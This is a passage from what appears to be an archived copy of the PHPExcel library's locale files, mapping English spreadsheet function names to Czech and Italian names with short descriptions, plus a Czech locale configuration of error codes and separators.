měny Kč (česká koruna). EXACT = STEJNÉ ## Zkontroluje, zda jsou dvě textové hodnoty shodné. FIND = NAJÍT ## Nalezne textovou hodnotu uvnitř jiné (rozlišuje malá a velká písmena). FINDB = FINDB ## Nalezne textovou hodnotu uvnitř jiné (rozlišuje malá a velká písmena). FIXED = ZAOKROUHLIT.NA.TEXT ## Zformátuje číslo jako text s pevným počtem desetinných míst. JIS = JIS ## Změní znaky s poloviční šířkou (jednobajtové) v řetězci znaků na znaky s plnou šířkou (dvoubajtové). LEFT = ZLEVA ## Vrátí první znaky textové hodnoty umístěné nejvíce vlevo. LEFTB = LEFTB ## Vrátí první znaky textové hodnoty umístěné nejvíce vlevo. LEN = DÉLKA ## Vrátí počet znaků textového řetězce. LENB = LENB ## Vrátí počet znaků textového řetězce. LOWER = MALÁ ## Převede text na malá písmena. MID = ČÁST ## Vrátí určitý počet znaků textového řetězce počínaje zadaným místem. MIDB = MIDB ## Vrátí určitý počet znaků textového řetězce počínaje zadaným místem. PHONETIC = ZVUKOVÉ ## Extrahuje fonetické znaky (furigana) z textového řetězce. PROPER = VELKÁ2 ## Převede první písmeno každého slova textové hodnoty na velké. REPLACE = NAHRADIT ## Nahradí znaky uvnitř textu. REPLACEB = NAHRADITB ## Nahradí znaky uvnitř textu. REPT = OPAKOVAT ## Zopakuje text podle zadaného počtu opakování. RIGHT = ZPRAVA ## Vrátí první znaky textové hodnoty umístěné nejvíce vpravo. RIGHTB = RIGHTB ## Vrátí první znaky textové hodnoty umístěné nejvíce vpravo. SEARCH = HLEDAT ## Nalezne textovou hodnotu uvnitř jiné (malá a velká písmena nejsou rozlišována). SEARCHB = SEARCHB ## Nalezne textovou hodnotu uvnitř jiné (malá a velká písmena nejsou rozlišována). SUBSTITUTE = DOSADIT ## V textovém řetězci nahradí starý text novým. T = T ## Převede argumenty na text. TEXT = HODNOTA.NA.TEXT ## Zformátuje číslo a převede ho na text. TRIM = PROČISTIT ## Odstraní z textu mezery. UPPER = VELKÁ ## Převede text na velká písmena. VALUE = HODNOTA ## Převede textový argument na číslo. PHPExcel/locale/cs/config 0000644 00000002456 14642534110 0011217 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = Kč ## ## Excel Error Codes (For future use) ## NULL = #NULL! DIV0 = #DIV/0! VALUE = #HODNOTA! REF = #REF! NAME = #NÁZEV? NUM = #NUM! NA = #N/A PHPExcel/locale/it/functions 0000644 00000103670 14642534110 0011771 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Funzioni di automazione e dei componenti aggiuntivi ## GETPIVOTDATA = INFO.DATI.TAB.PIVOT ## Restituisce i dati memorizzati in un rapporto di tabella pivot ## ## Cube functions Funzioni cubo ## CUBEKPIMEMBER = MEMBRO.KPI.CUBO ## Restituisce il nome, la proprietà e la misura di un indicatore di prestazioni chiave (KPI) e visualizza il nome e la proprietà nella cella. Un KPI è una misura quantificabile, ad esempio l'utile lordo mensile o il fatturato trimestrale dei dipendenti, utilizzata per il monitoraggio delle prestazioni di un'organizzazione. CUBEMEMBER = MEMBRO.CUBO ## Restituisce un membro o una tupla in una gerarchia di cubi. Consente di verificare l'esistenza del membro o della tupla nel cubo. CUBEMEMBERPROPERTY = PROPRIETÀ.MEMBRO.CUBO ## Restituisce il valore di una proprietà di un membro del cubo. Consente di verificare l'esistenza di un nome di membro all'interno del cubo e di restituire la proprietà specificata per tale membro. CUBERANKEDMEMBER = MEMBRO.CUBO.CON.RANGO ## Restituisce l'n-esimo membro o il membro ordinato di un insieme. Consente di restituire uno o più elementi in un insieme, ad esempio l'agente di vendita migliore o i primi 10 studenti. CUBESET = SET.CUBO ## Definisce un insieme di tuple o membri calcolati mediante l'invio di un'espressione di insieme al cubo sul server. In questo modo l'insieme viene creato e restituito a Microsoft Office Excel. CUBESETCOUNT = CONTA.SET.CUBO ## Restituisce il numero di elementi di un insieme. CUBEVALUE = VALORE.CUBO ## Restituisce un valore aggregato da un cubo. ## ## Database functions Funzioni di database ## DAVERAGE = DB.MEDIA ## Restituisce la media di voci del database selezionate DCOUNT = DB.CONTA.NUMERI ## Conta le celle di un database contenenti numeri DCOUNTA = DB.CONTA.VALORI ## Conta le celle non vuote in un database DGET = DB.VALORI ## Estrae da un database un singolo record che soddisfa i criteri specificati DMAX = DB.MAX ## Restituisce il valore massimo dalle voci selezionate in un database DMIN = DB.MIN ## Restituisce il valore minimo dalle voci di un database selezionate DPRODUCT = DB.PRODOTTO ## Moltiplica i valori in un determinato campo di record che soddisfano i criteri del database DSTDEV = DB.DEV.ST ## Restituisce una stima della deviazione standard sulla base di un campione di voci di un database selezionate DSTDEVP = DB.DEV.ST.POP ## Calcola la deviazione standard sulla base di tutte le voci di un database selezionate DSUM = DB.SOMMA ## Aggiunge i numeri nel campo colonna di record del database che soddisfa determinati criteri DVAR = DB.VAR ## Restituisce una stima della varianza sulla base di un campione da voci di un database selezionate DVARP = DB.VAR.POP ## Calcola la varianza sulla base di tutte le voci di un database selezionate ## ## Date and time functions Funzioni data e ora ## DATE = DATA ## Restituisce il numero seriale di una determinata data DATEVALUE = DATA.VALORE ## Converte una data sotto forma di testo in un numero seriale DAY = GIORNO ## Converte un numero seriale in un giorno del mese DAYS360 = GIORNO360 ## Calcola il numero di giorni compreso tra due date basandosi su un anno di 360 giorni EDATE = DATA.MESE ## Restituisce il numero seriale della data che rappresenta il numero di mesi prima o dopo la data di inizio EOMONTH = FINE.MESE ## Restituisce il numero seriale dell'ultimo giorno del mese, prima o dopo un determinato numero di mesi HOUR = ORA ## Converte un numero seriale in un'ora MINUTE = MINUTO ## Converte un numero seriale in un minuto MONTH = MESE ## Converte un numero seriale in un mese NETWORKDAYS = GIORNI.LAVORATIVI.TOT ## Restituisce il numero di tutti i giorni lavorativi compresi fra due date NOW = ADESSO ## Restituisce il numero seriale della data e dell'ora corrente SECOND = SECONDO ## Converte un numero seriale in un secondo TIME = ORARIO ## Restituisce il numero seriale di una determinata ora TIMEVALUE = ORARIO.VALORE ## Converte un orario in forma di testo in un numero seriale TODAY = OGGI ## Restituisce il numero seriale relativo alla data odierna WEEKDAY = GIORNO.SETTIMANA ## Converte un numero seriale in un giorno della settimana WEEKNUM = NUM.SETTIMANA ## Converte un numero seriale in un numero che rappresenta la posizione numerica di una settimana nell'anno WORKDAY = GIORNO.LAVORATIVO ## Restituisce il numero della data prima o dopo un determinato numero di giorni lavorativi YEAR = ANNO ## Converte un numero seriale in un anno YEARFRAC = FRAZIONE.ANNO ## Restituisce la frazione dell'anno che rappresenta il numero dei giorni compresi tra una data_ iniziale e una data_finale ## ## Engineering functions Funzioni ingegneristiche ## BESSELI = BESSEL.I ## Restituisce la funzione di Bessel modificata In(x) BESSELJ = BESSEL.J ## Restituisce la funzione di Bessel Jn(x) BESSELK = BESSEL.K ## Restituisce la funzione di Bessel modificata Kn(x) BESSELY = BESSEL.Y ## Restituisce la funzione di Bessel Yn(x) BIN2DEC = BINARIO.DECIMALE ## Converte un numero binario in decimale BIN2HEX = BINARIO.HEX ## Converte un numero binario in esadecimale BIN2OCT = BINARIO.OCT ## Converte un numero binario in ottale COMPLEX = COMPLESSO ## Converte i coefficienti reali e immaginari in numeri complessi CONVERT = CONVERTI ## Converte un numero da un sistema di misura in un altro DEC2BIN = DECIMALE.BINARIO ## Converte un numero decimale in binario DEC2HEX = DECIMALE.HEX ## Converte un numero decimale in esadecimale DEC2OCT = DECIMALE.OCT ## Converte un numero decimale in ottale DELTA = DELTA ## Verifica se due valori sono uguali ERF = FUNZ.ERRORE ## Restituisce la funzione di errore ERFC = FUNZ.ERRORE.COMP ## Restituisce la funzione di errore complementare GESTEP = SOGLIA ## Verifica se un numero è maggiore del valore di soglia HEX2BIN = HEX.BINARIO ## Converte un numero esadecimale in binario HEX2DEC = HEX.DECIMALE ## Converte un numero esadecimale in decimale HEX2OCT = HEX.OCT ## Converte un numero esadecimale in ottale IMABS = COMP.MODULO ## Restituisce il valore assoluto (modulo) di un numero complesso IMAGINARY = COMP.IMMAGINARIO ## Restituisce il coefficiente immaginario di un numero complesso IMARGUMENT = COMP.ARGOMENTO ## Restituisce l'argomento theta, un angolo espresso in radianti IMCONJUGATE = COMP.CONIUGATO ## Restituisce il complesso coniugato del numero complesso IMCOS = COMP.COS ## Restituisce il coseno di un numero complesso IMDIV = COMP.DIV ## Restituisce il quoziente di due numeri complessi IMEXP = COMP.EXP ## Restituisce il valore esponenziale di un numero complesso IMLN = COMP.LN ## Restituisce il logaritmo naturale di un numero complesso IMLOG10 = COMP.LOG10 ## Restituisce il logaritmo in base 10 di un numero complesso IMLOG2 = COMP.LOG2 ## Restituisce un logaritmo in base 2 di un numero complesso IMPOWER = COMP.POTENZA ## Restituisce il numero complesso elevato a una potenza intera IMPRODUCT = COMP.PRODOTTO ## Restituisce il prodotto di numeri complessi compresi tra 2 e 29 IMREAL = COMP.PARTE.REALE ## Restituisce il coefficiente reale di un numero complesso IMSIN = COMP.SEN ## Restituisce il seno di un numero complesso IMSQRT = COMP.RADQ ## Restituisce la radice quadrata di un numero complesso IMSUB = COMP.DIFF ## Restituisce la differenza fra due numeri complessi IMSUM = COMP.SOMMA ## Restituisce la somma di numeri complessi OCT2BIN = OCT.BINARIO ## Converte un numero ottale in binario OCT2DEC = OCT.DECIMALE ## Converte un numero ottale in decimale OCT2HEX = OCT.HEX ## Converte un numero ottale in esadecimale ## ## Financial functions Funzioni finanziarie ## ACCRINT = INT.MATURATO.PER ## Restituisce l'interesse maturato di un titolo che paga interessi periodici ACCRINTM = INT.MATURATO.SCAD ## Restituisce l'interesse maturato di un titolo che paga interessi alla scadenza AMORDEGRC = AMMORT.DEGR ## Restituisce l'ammortamento per ogni periodo contabile utilizzando un coefficiente di ammortamento AMORLINC = AMMORT.PER ## Restituisce l'ammortamento per ogni periodo contabile COUPDAYBS = GIORNI.CED.INIZ.LIQ ## Restituisce il numero dei giorni che vanno dall'inizio del periodo di durata della cedola alla data di liquidazione COUPDAYS = GIORNI.CED ## Restituisce il numero dei giorni relativi al periodo della cedola che contiene la data di liquidazione COUPDAYSNC = GIORNI.CED.NUOVA ## Restituisce il numero di giorni che vanno dalla data di liquidazione alla data della cedola successiva COUPNCD = DATA.CED.SUCC ## Restituisce un numero che rappresenta la data della cedola successiva alla data di liquidazione COUPNUM = NUM.CED ## Restituisce il numero di cedole pagabili fra la data di liquidazione e la data di scadenza COUPPCD = DATA.CED.PREC ## Restituisce un numero che rappresenta la data della cedola precedente alla data di liquidazione CUMIPMT = INT.CUMUL ## Restituisce l'interesse cumulativo pagato fra due periodi CUMPRINC = CAP.CUM ## Restituisce il capitale cumulativo pagato per estinguere un debito fra due periodi DB = DB ## Restituisce l'ammortamento di un bene per un periodo specificato utilizzando il metodo di ammortamento a quote fisse decrescenti DDB = AMMORT ## Restituisce l'ammortamento di un bene per un periodo specificato utilizzando il metodo di ammortamento a doppie quote decrescenti o altri metodi specificati DISC = TASSO.SCONTO ## Restituisce il tasso di sconto per un titolo DOLLARDE = VALUTA.DEC ## Converte un prezzo valuta, espresso come frazione, in prezzo valuta, espresso come numero decimale DOLLARFR = VALUTA.FRAZ ## Converte un prezzo valuta, espresso come numero decimale, in prezzo valuta, espresso come frazione DURATION = DURATA ## Restituisce la durata annuale di un titolo con i pagamenti di interesse periodico EFFECT = EFFETTIVO ## Restituisce l'effettivo tasso di interesse annuo FV = VAL.FUT ## Restituisce il valore futuro di un investimento FVSCHEDULE = VAL.FUT.CAPITALE ## Restituisce il valore futuro di un capitale iniziale dopo aver applicato una serie di tassi di interesse composti INTRATE = TASSO.INT ## Restituisce il tasso di interesse per un titolo interamente investito IPMT = INTERESSI ## Restituisce il valore degli interessi per un investimento relativo a un periodo specifico IRR = TIR.COST ## Restituisce il tasso di rendimento interno per una serie di flussi di cassa ISPMT = INTERESSE.RATA ## Calcola l'interesse di un investimento pagato durante un periodo specifico MDURATION = DURATA.M ## Restituisce la durata Macauley modificata per un titolo con un valore presunto di € 100 MIRR = TIR.VAR ## Restituisce il tasso di rendimento interno in cui i flussi di cassa positivi e negativi sono finanziati a tassi differenti NOMINAL = NOMINALE ## Restituisce il tasso di interesse nominale annuale NPER = NUM.RATE ## Restituisce un numero di periodi relativi a un investimento NPV = VAN ## Restituisce il valore attuale netto di un investimento basato su una serie di flussi di cassa periodici e sul tasso di sconto ODDFPRICE = PREZZO.PRIMO.IRR ## Restituisce il prezzo di un titolo dal valore nominale di € 100 avente il primo periodo di durata irregolare ODDFYIELD = REND.PRIMO.IRR ## Restituisce il rendimento di un titolo avente il primo periodo di durata irregolare ODDLPRICE = PREZZO.ULTIMO.IRR ## Restituisce il prezzo di un titolo dal valore nominale di € 100 avente l'ultimo periodo di durata irregolare ODDLYIELD = REND.ULTIMO.IRR ## Restituisce il rendimento di un titolo avente l'ultimo periodo di durata irregolare PMT = RATA ## Restituisce il pagamento periodico di una rendita annua PPMT = P.RATA ## Restituisce il pagamento sul capitale di un investimento per un dato periodo PRICE = PREZZO ## Restituisce il prezzo di un titolo dal valore nominale di € 100 che paga interessi periodici PRICEDISC = PREZZO.SCONT ## Restituisce il prezzo di un titolo scontato dal valore nominale di € 100 PRICEMAT = PREZZO.SCAD ## Restituisce il prezzo di un titolo dal valore nominale di € 100 che paga gli interessi alla scadenza PV = VA ## Restituisce il valore attuale di un investimento RATE = TASSO ## Restituisce il tasso di interesse per un periodo di un'annualità RECEIVED = RICEV.SCAD ## Restituisce l'ammontare ricevuto alla scadenza di un titolo interamente investito SLN = AMMORT.COST ## Restituisce l'ammortamento a quote costanti di un bene per un singolo periodo SYD = AMMORT.ANNUO ## Restituisce l'ammortamento a somma degli anni di un bene per un periodo specificato TBILLEQ = BOT.EQUIV ## Restituisce il rendimento equivalente ad un'obbligazione per un Buono ordinario del Tesoro TBILLPRICE = BOT.PREZZO ## Restituisce il prezzo di un Buono del Tesoro dal valore nominale di € 100 TBILLYIELD = BOT.REND ## Restituisce il rendimento di un Buono del Tesoro VDB = AMMORT.VAR ## Restituisce l'ammortamento di un bene per un periodo specificato o parziale utilizzando il metodo a doppie quote proporzionali ai valori residui XIRR = TIR.X ## Restituisce il tasso di rendimento interno di un impiego di flussi di cassa XNPV = VAN.X ## Restituisce il valore attuale netto di un impiego di flussi di cassa non necessariamente periodici YIELD = REND ## Restituisce il rendimento di un titolo che frutta interessi periodici YIELDDISC = REND.TITOLI.SCONT ## Restituisce il rendimento annuale di un titolo scontato, ad esempio un Buono del Tesoro YIELDMAT = REND.SCAD ## Restituisce il rendimento annuo di un titolo che paga interessi alla scadenza ## ## Information functions Funzioni relative alle informazioni ## CELL = CELLA ## Restituisce le informazioni sulla formattazione, la posizione o i contenuti di una cella ERROR.TYPE = ERRORE.TIPO ## Restituisce un numero che corrisponde a un tipo di errore INFO = INFO ## Restituisce le informazioni sull'ambiente operativo corrente ISBLANK = VAL.VUOTO ## Restituisce VERO se il valore è vuoto ISERR = VAL.ERR ## Restituisce VERO se il valore è un valore di errore qualsiasi tranne #N/D ISERROR = VAL.ERRORE ## Restituisce VERO se il valore è un valore di errore qualsiasi ISEVEN = VAL.PARI ## Restituisce VERO se il numero è pari ISLOGICAL = VAL.LOGICO ## Restituisce VERO se il valore è un valore logico ISNA = VAL.NON.DISP ## Restituisce VERO se il valore è un valore di errore #N/D ISNONTEXT = VAL.NON.TESTO ## Restituisce VERO se il valore non è in formato testo ISNUMBER = VAL.NUMERO ## Restituisce VERO se il valore è un numero ISODD = VAL.DISPARI ## Restituisce VERO se il numero è dispari ISREF = VAL.RIF ## Restituisce VERO se il valore è un riferimento ISTEXT = VAL.TESTO ## Restituisce VERO se il valore è in formato testo N = NUM ## Restituisce un valore convertito in numero NA = NON.DISP ## Restituisce il valore di errore #N/D TYPE = TIPO ## Restituisce un numero che indica il tipo di dati relativi a un valore ## ## Logical functions Funzioni logiche ## AND = E ## Restituisce VERO se tutti gli argomenti sono VERO FALSE = FALSO ## Restituisce il valore logico FALSO IF = SE ## Specifica un test logico da eseguire IFERROR = SE.ERRORE ## Restituisce un valore specificato se una formula fornisce un errore come risultato; in caso contrario, restituisce il risultato della formula NOT = NON ## Inverte la logica degli argomenti OR = O ## Restituisce VERO se un argomento qualsiasi è VERO TRUE = VERO ## Restituisce il valore logico VERO ## ## Lookup and reference functions Funzioni di ricerca e di riferimento ## ADDRESS = INDIRIZZO ## Restituisce un riferimento come testo in una singola cella di un foglio di lavoro AREAS = AREE ## Restituisce il numero di aree in un riferimento CHOOSE = SCEGLI ## Sceglie un valore da un elenco di valori COLUMN = RIF.COLONNA ## Restituisce il numero di colonna di un riferimento COLUMNS = COLONNE ## Restituisce il numero di colonne in un riferimento HLOOKUP = CERCA.ORIZZ ## Effettua una ricerca nella riga superiore di una matrice e restituisce il valore della cella specificata HYPERLINK = COLLEG.IPERTESTUALE ## Crea un collegamento che apre un documento memorizzato in un server di rete, una rete Intranet o Internet INDEX = INDICE ## Utilizza un indice per scegliere un valore da un riferimento o da una matrice INDIRECT = INDIRETTO ## Restituisce un riferimento specificato da un valore testo LOOKUP = CERCA ## Ricerca i valori in un vettore o in una matrice MATCH = CONFRONTA ## Ricerca i valori in un riferimento o in una matrice OFFSET = SCARTO ## Restituisce uno scarto di riferimento da un riferimento dato ROW = RIF.RIGA ## Restituisce il numero di riga di un riferimento ROWS = RIGHE ## Restituisce il numero delle righe in un riferimento RTD = DATITEMPOREALE ## Recupera dati in tempo reale da un programma che supporta l'automazione COM (automazione: Metodo per utilizzare gli oggetti di un'applicazione da un'altra applicazione o da un altro strumento di sviluppo. Precedentemente nota come automazione OLE, l'automazione è uno standard del settore e una caratteristica del modello COM (Component Object Model).) TRANSPOSE = MATR.TRASPOSTA ## Restituisce la trasposizione di una matrice VLOOKUP = CERCA.VERT ## Effettua una ricerca nella prima colonna di una matrice e si sposta attraverso la riga per restituire il valore di una cella ## ## Math and trigonometry functions Funzioni matematiche e trigonometriche ## ABS = ASS ## Restituisce il valore assoluto di un numero. ACOS = ARCCOS ## Restituisce l'arcocoseno di un numero ACOSH = ARCCOSH ## Restituisce l'inverso del coseno iperbolico di un numero ASIN = ARCSEN ## Restituisce l'arcoseno di un numero ASINH = ARCSENH ## Restituisce l'inverso del seno iperbolico di un numero ATAN = ARCTAN ## Restituisce l'arcotangente di un numero ATAN2 = ARCTAN.2 ## Restituisce l'arcotangente delle coordinate x e y specificate ATANH = ARCTANH ## Restituisce l'inverso della tangente iperbolica di un numero CEILING = ARROTONDA.ECCESSO ## Arrotonda un numero per eccesso all'intero più vicino o al multiplo più vicino a peso COMBIN = COMBINAZIONE ## Restituisce il numero di combinazioni possibili per un numero assegnato di elementi COS = COS ## Restituisce il coseno dell'angolo specificato COSH = COSH ## Restituisce il coseno iperbolico di un numero DEGREES = GRADI ## Converte i radianti in gradi EVEN = PARI ## Arrotonda il valore assoluto di un numero per eccesso al più vicino intero pari EXP = ESP ## Restituisce il numero e elevato alla potenza di num FACT = FATTORIALE ## Restituisce il fattoriale di un numero FACTDOUBLE = FATT.DOPPIO ## Restituisce il fattoriale doppio di un numero FLOOR = ARROTONDA.DIFETTO ## Arrotonda un numero per difetto al multiplo più vicino a zero GCD = MCD ## Restituisce il massimo comune divisore INT = INT ## Arrotonda un numero per difetto al numero intero più vicino LCM = MCM ## Restituisce il minimo comune multiplo LN = LN ## Restituisce il logaritmo naturale di un numero LOG = LOG ## Restituisce il logaritmo di un numero in una specificata base LOG10 = LOG10 ## Restituisce il logaritmo in base 10 di un numero MDETERM = MATR.DETERM ## Restituisce il determinante di una matrice MINVERSE = MATR.INVERSA ## Restituisce l'inverso di una matrice MMULT = MATR.PRODOTTO ## Restituisce il prodotto di due matrici MOD = RESTO ## Restituisce il resto della divisione MROUND = ARROTONDA.MULTIPLO ## Restituisce un numero arrotondato al multiplo desiderato MULTINOMIAL = MULTINOMIALE ## Restituisce il multinomiale di un insieme di numeri ODD = DISPARI ## Arrotonda un numero per eccesso al più vicino intero dispari PI = PI.GRECO ## Restituisce il valore di pi greco POWER = POTENZA ## Restituisce il risultato di un numero elevato a potenza PRODUCT = PRODOTTO ## Moltiplica i suoi argomenti QUOTIENT = QUOZIENTE ## Restituisce la parte intera di una divisione RADIANS = RADIANTI ## Converte i gradi in radianti RAND = CASUALE ## Restituisce un numero casuale compreso tra 0 e 1 RANDBETWEEN = CASUALE.TRA ## Restituisce un numero casuale compreso tra i numeri specificati ROMAN = ROMANO ## Restituisce il numero come numero romano sotto forma di testo ROUND = ARROTONDA ## Arrotonda il numero al numero di cifre specificato ROUNDDOWN = ARROTONDA.PER.DIF ## Arrotonda il valore assoluto di un numero per difetto ROUNDUP = ARROTONDA.PER.ECC ## Arrotonda il valore assoluto di un numero per eccesso SERIESSUM = SOMMA.SERIE ## Restituisce la somma di una serie di potenze in base alla formula SIGN = SEGNO ## Restituisce il segno di un numero SIN = SEN ## Restituisce il seno di un dato angolo SINH = SENH ## Restituisce il seno iperbolico di un numero SQRT = RADQ ## Restituisce una radice quadrata SQRTPI = RADQ.PI.GRECO ## Restituisce la radice quadrata di un numero (numero * pi greco) SUBTOTAL = SUBTOTALE ## Restituisce un subtotale in un elenco o in un database SUM = SOMMA ## Somma i suoi argomenti SUMIF = SOMMA.SE ## Somma le celle specificate da un dato criterio SUMIFS = SOMMA.PIÙ.SE ## Somma le celle in un intervallo che soddisfano più criteri SUMPRODUCT = MATR.SOMMA.PRODOTTO ## Restituisce la somma dei prodotti dei componenti corrispondenti della matrice SUMSQ = SOMMA.Q ## Restituisce la somma dei quadrati degli argomenti SUMX2MY2 = SOMMA.DIFF.Q ## Restituisce la somma della differenza dei quadrati dei corrispondenti elementi in due matrici SUMX2PY2 = SOMMA.SOMMA.Q ## Restituisce la somma della somma dei quadrati dei corrispondenti elementi in due matrici SUMXMY2 = SOMMA.Q.DIFF ## Restituisce la somma dei quadrati delle differenze dei corrispondenti elementi in due matrici TAN = TAN ## Restituisce la tangente di un numero TANH = TANH ## Restituisce la tangente iperbolica di un numero TRUNC = TRONCA ## Tronca la parte decimale di un numero ## ## Statistical functions Funzioni statistiche ## AVEDEV = MEDIA.DEV ## Restituisce la media delle deviazioni assolute delle coordinate rispetto alla loro media AVERAGE = MEDIA ## Restituisce la media degli argomenti AVERAGEA = MEDIA.VALORI ## Restituisce la media degli argomenti, inclusi i numeri, il testo e i valori logici AVERAGEIF = MEDIA.SE ## Restituisce la media aritmetica di tutte le celle in un intervallo che soddisfano un determinato criterio AVERAGEIFS = MEDIA.PIÙ.SE ## Restituisce la media aritmetica di tutte le celle che soddisfano più criteri BETADIST = DISTRIB.BETA ## Restituisce la funzione di distribuzione cumulativa beta BETAINV = INV.BETA ## Restituisce l'inverso della funzione di distribuzione cumulativa per una distribuzione beta specificata BINOMDIST = DISTRIB.BINOM ## Restituisce la distribuzione binomiale per il termine individuale CHIDIST = DISTRIB.CHI ## Restituisce la probabilità a una coda per la distribuzione del chi quadrato CHIINV = INV.CHI ## Restituisce l'inverso della probabilità ad una coda per la distribuzione del chi quadrato CHITEST = TEST.CHI ## Restituisce il test per l'indipendenza CONFIDENCE = CONFIDENZA ## Restituisce l'intervallo di confidenza per una popolazione CORREL = CORRELAZIONE ## Restituisce il coefficiente di correlazione tra due insiemi di dati COUNT = CONTA.NUMERI ## Conta la quantità di numeri nell'elenco di argomenti COUNTA = CONTA.VALORI ## Conta il numero di valori nell'elenco di argomenti COUNTBLANK = CONTA.VUOTE ## Conta il numero di celle vuote all'interno di un intervallo COUNTIF = CONTA.SE ## Conta il numero di celle all'interno di un intervallo che soddisfa i criteri specificati COUNTIFS = CONTA.PIÙ.SE ## Conta il numero di celle in un intervallo che soddisfano più criteri. COVAR = COVARIANZA ## Calcola la covarianza, la media dei prodotti delle deviazioni accoppiate CRITBINOM = CRIT.BINOM ## Restituisce il più piccolo valore per il quale la distribuzione cumulativa binomiale risulta maggiore o uguale ad un valore di criterio DEVSQ = DEV.Q ## Restituisce la somma dei quadrati delle deviazioni EXPONDIST = DISTRIB.EXP ## Restituisce la distribuzione esponenziale FDIST = DISTRIB.F ## Restituisce la distribuzione di probabilità F FINV = INV.F ## Restituisce l'inverso della distribuzione della probabilità F FISHER = FISHER ## Restituisce la trasformazione di Fisher FISHERINV = INV.FISHER ## Restituisce l'inverso della trasformazione di Fisher FORECAST = PREVISIONE ## Restituisce i valori lungo una tendenza lineare FREQUENCY = FREQUENZA ## Restituisce la distribuzione di frequenza come matrice verticale FTEST = TEST.F ## Restituisce il risultato di un test F GAMMADIST = DISTRIB.GAMMA ## Restituisce la distribuzione gamma GAMMAINV = INV.GAMMA ## Restituisce l'inverso della distribuzione cumulativa gamma GAMMALN = LN.GAMMA ## Restituisce il logaritmo naturale della funzione gamma, G(x) GEOMEAN = MEDIA.GEOMETRICA ## Restituisce la media geometrica GROWTH = CRESCITA ## Restituisce i valori lungo una linea di tendenza esponenziale HARMEAN = MEDIA.ARMONICA ## Restituisce la media armonica HYPGEOMDIST = DISTRIB.IPERGEOM ## Restituisce la distribuzione ipergeometrica INTERCEPT = INTERCETTA ## Restituisce l'intercetta della retta di regressione lineare KURT = CURTOSI ## Restituisce la curtosi di un insieme di dati LARGE = GRANDE ## Restituisce il k-esimo valore più grande in un insieme di dati LINEST = REGR.LIN ## Restituisce i parametri di una tendenza lineare LOGEST = REGR.LOG ## Restituisce i parametri di una linea di tendenza esponenziale LOGINV = INV.LOGNORM ## Restituisce l'inverso di una distribuzione lognormale LOGNORMDIST = DISTRIB.LOGNORM ## Restituisce la distribuzione lognormale cumulativa MAX = MAX ## Restituisce il valore massimo in un elenco di argomenti MAXA = MAX.VALORI ## Restituisce il valore massimo in un elenco di argomenti, inclusi i numeri, il testo e i valori logici MEDIAN = MEDIANA ## Restituisce la mediana dei numeri specificati MIN = MIN ## Restituisce il valore minimo in un elenco di argomenti MINA = MIN.VALORI ## Restituisce il più piccolo valore in un elenco di argomenti, inclusi i numeri, il testo e i valori logici MODE = MODA ## Restituisce il valore più comune in un insieme di dati NEGBINOMDIST = DISTRIB.BINOM.NEG ## Restituisce la distribuzione binomiale negativa NORMDIST = DISTRIB.NORM ## Restituisce la distribuzione cumulativa normale NORMINV = INV.NORM ## Restituisce l'inverso della distribuzione cumulativa normale standard NORMSDIST = DISTRIB.NORM.ST ## Restituisce la distribuzione cumulativa normale standard NORMSINV = INV.NORM.ST ## Restituisce l'inverso della distribuzione cumulativa normale PEARSON = PEARSON ## Restituisce il coefficiente del momento di correlazione di Pearson PERCENTILE = PERCENTILE ## Restituisce il k-esimo dato percentile di valori in un intervallo PERCENTRANK = PERCENT.RANGO ## Restituisce il rango di un valore in un insieme di dati come percentuale PERMUT = PERMUTAZIONE ## Restituisce il numero delle permutazioni per un determinato numero di oggetti POISSON = POISSON ## Restituisce la distribuzione di Poisson PROB = PROBABILITÀ ## Calcola la probabilità che dei valori in un intervallo siano compresi tra due limiti QUARTILE = QUARTILE ## Restituisce il quartile di un insieme di dati RANK = RANGO ## Restituisce il rango di un numero in un elenco di numeri RSQ = RQ ## Restituisce la radice quadrata del coefficiente di momento di correlazione di Pearson SKEW = ASIMMETRIA ## Restituisce il grado di asimmetria di una distribuzione SLOPE = PENDENZA ## Restituisce la pendenza di una retta di regressione lineare SMALL = PICCOLO ## Restituisce il k-esimo valore più piccolo in un insieme di dati STANDARDIZE = NORMALIZZA ## Restituisce un valore normalizzato STDEV = DEV.ST ## Restituisce una stima della deviazione standard sulla base di un campione STDEVA = DEV.ST.VALORI ## Restituisce una stima della deviazione standard sulla base di un campione, inclusi i numeri, il testo e i valori logici STDEVP = DEV.ST.POP ## Calcola la deviazione standard sulla base di un'intera popolazione STDEVPA = DEV.ST.POP.VALORI ## Calcola la deviazione standard sulla base sull'intera popolazione, inclusi i numeri, il testo e i valori logici STEYX = ERR.STD.YX ## Restituisce l'errore standard del valore previsto per y per ogni valore x nella regressione TDIST = DISTRIB.T ## Restituisce la 